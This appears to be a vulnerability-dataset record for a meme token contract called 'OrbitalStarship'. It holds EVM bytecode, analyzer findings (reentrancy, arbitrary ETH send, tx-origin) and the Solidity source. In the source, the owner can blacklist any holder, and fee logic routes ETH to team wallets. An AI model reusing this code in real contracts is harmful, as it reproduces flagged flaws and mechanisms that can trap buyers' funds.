518363ffffffff1660e01b815260040161165692919061302d565b6020604051808303816000875af1158015611675573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116999190613000565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061172230610e76565b60008061172d611012565b426040518863ffffffff1660e01b815260040161174f96959493929190613091565b60606040518083038185885af115801561176d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117929190613107565b505050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161183492919061315a565b6020604051808303816000875af1158015611853573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118779190613198565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ea90613237565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611963576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195a906132c9565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a419190612937565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab59061335b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b25906133ed565b60405180910390fd5b60008111611b71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b689061347f565b60405180910390fd5b6000611b7b611012565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611be95750611bb9611012565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561220a57600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611c995750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611cef5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561200a57601060009054906101000a900460ff16611d43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3a906134eb565b60405180910390fd5b600f54421415611d88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7f90613557565b60405180910390fd5b42610e10600f54611d999190613577565b1115611df857600e54611dab84610e76565b83611db69190613577565b1115611df7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dee9061363f565b60405180910390fd5b5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff16611ed25760405180604001604052806000815260200160011515815250600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010160006101000a81548160ff0219169083151502179055509050505b426078600f54611ee29190613577565b1115611fbe57600d54821115611f2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f24906136ab565b60405180910390fd5b601e42611f3a9190613577565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611fbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb49061373d565b60405180910390fd5b5b42600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600190505b601060019054906101000a900460ff161580156120335750601060009054906101000a900460ff165b801561208d5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561220957600f4261209f9190613577565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410612122576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612119906137cf565b60405180910390fd5b600061212d30610e76565b905060008111156121ea57601060029054906101000a900460ff16156121e0576064600c5461217d600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e76565b61218791906137ef565b6121919190613878565b8111156121df576064600c546121c8600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e76565b6121d291906137ef565b6121dc9190613878565b90505b5b6121e9816123bc565b5b6000479050600081111561220257612201476122cf565b5b6000925050505b5b600060019050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122b15750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122bb57600090505b6122c88585858486612635565b5050505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6002836123189190613878565b9081150290604051600060405180830381858888f19350505050158015612343573d6000803e3d6000fd5b50600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60028361238d9190613878565b9081150290604051600060405180830381858888f193505050501580156123b8573d6000803e3d6000fd5b5050565b6001601060016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f4576123f36138a9565b5b6040519080825280602002602001820160405280156124225781602001602082028036833780820191505090505b509050308160008151811061243a576124396138d8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156124e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125059190613000565b81600181518110612519576125186138d8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061258030600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611883565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125e49594939291906139c5565b600060405180830381600087803b1580156125fe57600080fd5b505af1158015612612573d6000803e3d6000fd5b50505050506000601060016101000a81548160ff02191690831515021790555050565b60006126418383612657565b905061264f868686846126ac565b505050505050565b6000806000905083156126a257821561267457600a5490506126a1565b600b549050610e10600f546126899190613577565b4210156126a05760078161269d9190613577565b90505b5b5b8091505092915050565b6000806126b9848461284f565b9150915083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127089190612edf565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127969190613577565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127e28161288d565b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161283f9190612937565b60405180910390a3505050505050565b60008060006064848661286291906137ef565b61286c9190613878565b90506000818661287c9190612edf565b905080829350935050509250929050565b80600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128d89190613577565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000819050919050565b6129318161291e565b82525050565b600060208201905061294c6000830184612928565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561298c578082015181840152602081019050612971565b8381111561299b576000848401525b50505050565b6000601f19601f8301169050919050565b60006129bd82612952565b6129c7818561295d565b93506129d781856020860161296e565b6129e0816129a1565b840191505092915050565b60006020820190508181036000830152612a0581846129b2565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a3d82612a12565b9050919050565b612a4d81612a32565b8114612a5857600080fd5b50565b600081359050612a6a81612a44565b92915050565b600060208284031215612a8657612a85612a0d565b5b6000612a9484828501612a5b565b91505092915050565b612aa68161291e565b8114612ab157600080fd5b50565b600081359050612ac381612a9d565b92915050565b60008060408385031215612ae057612adf612a0d565b5b6000612aee85828601612a5b565b9250506020612aff85828601612ab4565b9150509250929050565b60008115159050919050565b612b1e81612b09565b82525050565b6000602082019050612b396000830184612b15565b92915050565b60008060408385031215612b5657612b55612a0d565b5b6000612b6485828601612ab4565b9250506020612b7585828601612ab4565b9150509250929050565b600080600060608486031215612b9857612b97612a0d565b5b6000612ba686828701612a5b565b9350506020612bb786828701612a5b565b9250506040612bc886828701612ab4565b9150509250925092565b600060ff82169050919050565b612be881612bd2565b82525050565b6000602082019050612c036000830184612bdf565b92915050565b6000612c1482612a12565b9050919050565b612c2481612c09565b82525050565b6000602082019050612c3f6000830184612c1b565b92915050565b600060208284031215612c5b57612c5a612a0d565b5b6000612c6984828501612ab4565b91505092915050565b612c7b81612a32565b82525050565b6000602082019050612c966000830184612c72565b92915050565b612ca581612b09565b8114612cb057600080fd5b50565b600081359050612cc281612c9c565b92915050565b600060208284031215612cde57612cdd612a0d565b5b6000612cec84828501612cb3565b91505092915050565b60008060408385031215612d0c57612d0b612a0d565b5b6000612d1a85828601612a5b565b9250506020612d2b85828601612a5b565b9150509250929050565b6000819050919050565b6000612d5a612d55612d5084612a12565b612d35565b612a12565b9050919050565b6000612d6c82612d3f565b9050919050565b6000612d7e82612d61565b9050919050565b612d8e81612d73565b82525050565b6000602082019050612da96000830184612d85565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612de560208361295d565b9150612df082612daf565b602082019050919050565b60006020820190508181036000830152612e1481612dd8565b9050919050565b6000604082019050612e306000830185612928565b612e3d6020830184612928565b9392505050565b7f706c73206e6f20626f7400000000000000000000000000000000000000000000600082015250565b6000612e7a600a8361295d565b9150612e8582612e44565b602082019050919050565b60006020820190508181036000830152612ea981612e6d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612eea8261291e565b9150612ef58361291e565b925082821015612f0857612f07612eb0565b5b828203905092915050565b7f526174652063616e2774206265207a65726f0000000000000000000000000000600082015250565b6000612f4960128361295d565b9150612f5482612f13565b602082019050919050565b60006020820190508181036000830152612f7881612f3c565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612fb560178361295d565b9150612fc082612f7f565b602082019050919050565b60006020820190508181036000830152612fe481612fa8565b9050919050565b600081519050612ffa81612a44565b92915050565b60006020828403121561301657613015612a0d565b5b600061302484828501612feb565b91505092915050565b60006040820190506130426000830185612c72565b61304f6020830184612c72565b9392505050565b6000819050919050565b600061307b61307661307184613056565b612d35565b61291e565b9050919050565b61308b81613060565b82525050565b600060c0820190506130a66000830189612c72565b6130b36020830188612928565b6130c06040830187613082565b6130cd6060830186613082565b6130da6080830185612c72565b6130e760a0830184612928565b979650505050505050565b60008151905061310181612a9d565b92915050565b6000806000606084860312156131205761311f612a0d565b5b600061312e868287016130f2565b935050602061313f868287016130f2565b9250506040613150868287016130f2565b9150509250925092565b600060408201905061316f6000830185612c72565b61317c6020830184612928565b9392505050565b60008151905061319281612c9c565b92915050565b6000602082840312156131ae576131ad612a0d565b5b60006131bc84828501613183565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061322160248361295d565b915061322c826131c5565b604082019050919050565b6000602082019050818103600083015261325081613214565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006132b360228361295d565b91506132be82613257565b604082019050919050565b600060208201905081810360008301526132e2816132a6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061334560258361295d565b9150613350826132e9565b604082019050919050565b6000602082019050818103600083015261337481613338565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006133d760238361295d565b91506133e28261337b565b604082019050919050565b60006020820190508181036000830152613406816133ca565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061346960298361295d565b91506134748261340d565b604082019050919050565b600060208201905081810360008301526134988161345c565b9050919050565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b60006134d560188361295d565b91506134e08261349f565b602082019050919050565b60006020820190508181036000830152613504816134c8565b9050919050565b7f706c73206e6f20736e6970000000000000000000000000000000000000000000600082015250565b6000613541600b8361295d565b915061354c8261350b565b602082019050919050565b6000602082019050818103600083015261357081613534565b9050919050565b60006135828261291e565b915061358d8361291e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156135c2576135c1612eb0565b5b828201905092915050565b7f596f752063616e2774206f776e2074686174206d616e7920746f6b656e73206160008201527f74206f6e63652e00000000000000000000000000000000000000000000000000602082015250565b600061362960278361295d565b9150613634826135cd565b604082019050919050565b600060208201905081810360008301526136588161361c565b9050919050565b7f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000600082015250565b6000613695601b8361295d565b91506136a08261365f565b602082019050919050565b600060208201905081810360008301526136c481613688565b9050919050565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b600061372760228361295d565b9150613732826136cb565b604082019050919050565b600060208201905081810360008301526137568161371a565b9050919050565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b60006137b960238361295d565b91506137c48261375d565b604082019050919050565b600060208201905081810360008301526137e8816137ac565b9050919050565b60006137fa8261291e565b91506138058361291e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561383e5761383d612eb0565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006138838261291e565b915061388e8361291e565b92508261389e5761389d613849565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61393c81612a32565b82525050565b600061394e8383613933565b60208301905092915050565b6000602082019050919050565b600061397282613907565b61397c8185613912565b935061398783613923565b8060005b838110156139b857815161399f8882613942565b97506139aa8361395a565b92505060018101905061398b565b5085935050505092915050565b600060a0820190506139da6000830188612928565b6139e76020830187613082565b81810360408301526139f98186613967565b9050613a086060830185612c72565b613a156080830184612928565b969550505050505056fea26469706673582212205682e07432c4e1e19a24dae39de18b60c63be695e1842c1d7fbd02680a5bc70564736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,873
0x9eebe53ee1becec953ae0337dec64a4d4beee8a6
/* https://t.me/orbitalstarshipeth FAIR LAUNCH, NO PRESALE LOCKED liquidity RENOUNCED ownership */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract OrbitalStarship is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "OrbitalStarship | t.me/orbitalstarshipeth"; string private constant _symbol = "ORB"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a1f565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ec0565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e91906129e3565b610590565b6040516101a09190612ea5565b60405180910390f35b3480156101b557600080fd5b506101be6105ae565b6040516101cb9190613062565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f69190612994565b6105bf565b6040516102089190612ea5565b60405180910390f35b34801561021d57600080fd5b50610226610698565b005b34801561023457600080fd5b5061023d610bf4565b60405161024a91906130d7565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a60565b610bfd565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612906565b610caf565b005b3480156102b157600080fd5b506102ba610d9f565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612906565b610e11565b6040516102f09190613062565b60405180910390f35b34801561030557600080fd5b5061030e610e62565b005b34801561031c57600080fd5b50610325610fb5565b6040516103329190612dd7565b60405180910390f35b34801561034757600080fd5b50610350610fde565b60405161035d9190612ec0565b60405180910390f35b34801561037257600080fd5b5061038d600480360381019061038891906129e3565b61101b565b60405161039a9190612ea5565b60405180910390f35b3480156103af57600080fd5b506103b8611039565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ab2565b6110b3565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612958565b6111fc565b6040516104179190613062565b60405180910390f35b610428611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fc2565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613378565b9150506104b8565b5050565b60606040518060600160405280602981526020016137c360299139905090565b60006105a461059d611283565b848461128b565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105cc848484611456565b61068d846105d8611283565b6106888560405180606001604052806028815260200161379b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061063e611283565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c159092919063ffffffff16565b61128b565b600190509392505050565b